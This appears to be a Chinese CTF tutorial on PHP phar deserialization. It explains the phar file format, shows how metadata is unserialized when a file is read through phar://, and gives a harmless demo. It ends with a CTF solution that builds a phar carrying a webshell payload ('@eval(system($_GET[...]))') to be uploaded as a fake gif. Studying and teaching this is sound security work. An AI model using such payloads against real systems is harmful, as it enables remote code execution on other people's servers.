Phar
php中phar文件反序列化问题。
目录
0x00 源起
该问题是Sam Thomas在2018.8.9于black hat上分享议题“It’s a PHP Unserialization Vulnerability Jim, but Not as We Know It”时提出,为php的反序列化漏洞开辟一方新的“乐土”。
0x01 了解phar文件
phar即PHP Archive,顾名思义,它是php的归档文件,本质为压缩文件。常用于php应用程序的打包,类似于java的.jar文件。
phar有三种归档格式:tar归档、zip归档、phar归档,其中前两种用的较少,主要为phar归档。
phar压缩文件格式由四部分组成:
a stub
可以将stub简单地理解为phar文件的文件头。其实质是一个php文件,其最简形式为
<?php __HALT_COMPILER(); //闭合符 ?> 可省略。
a manifest describing the contents
manifest部分存储每个被压缩文件的文件名长度、文件名、压缩前大小等一系列信息,具体清单如下:
注意清单中的最后一条,Metadata是以序列化的形式存储的,这里便是phar反序列问题的根源所在。
the file contents
很直白,就是压缩文件的内容。
[optional] a signature for verifying phar integrity
一串用于校验phar文件完整性的hash值,支持md5和sha1两种hash类型。这里hash值虽说是optional,但实际pahr文件似乎总是有添加的(没有详做考证)?php生成phar文件时也会自动添加。
0x02 phar反序列化漏洞原理
前面提到在phar文件的manifest中,Metadata是以序列化形式存储的。配合phar://伪协议读取phar文件时,Metadata被反序列化,之后便可接上我们所熟悉的serialize-unserialize型反序列化漏洞。
需要注意的问题是,在phar反序列化漏洞中,只有__destruct
和__wakeup
会被触发。
一个小的演示:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class Test{
function __wakeup(){
echo "wakeup now.\n";
}
function __destruct(){
echo "destruct now.\n";
}
}
//Phar类提供对phar文件的相关操作
//php默认只支持phar文件的读取,需要修改php.ini中phar.readonly值为0,以开启写功能。
//注意对于同名phar文件的写操作,php是进行内容的追加,而非覆盖,重复测试时记得先unlink()
$phar = new Phar("test.phar");
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$metadata = new Test();
$phar->setMetadata($metadata);
//以字符串的形式添加一个文件到 phar 文件
$phar->addFromString('test.txt', 'Hello world!');
?>
生成phar文件如下:
之后进行读取
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class Test{
function __wakeup(){
echo "wakeup now.\n";
}
function __destruct(){
echo "destruct now.\n";
}
}
file_exists("phar://test.phar/test.txt");
//some other functions such as file_get_contents(), is_dir() are also ok.
?>
结果正是我们所想看到的:
0x03 CTF例题
柏鹭杯2018 web2-Phar
1 |
|
该题另有一处文件上传点,只允许上传gif图片,但并未对图片内容进行校验,上传后可得到图片存储路径。
利用如下代码生成一个后门文件temp.phar:
1
2
3
4
5
6
7
8
9
10
11
<?php
class MyClass{
var $output = '@eval(system($_GET["key"]));';
}
$payload = new MyClass();
unlink("temp.phar");
$phar = new Phar("temp.phar");
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($payload);
$phar->addFromString('test.txt', 'Hello world!');
?>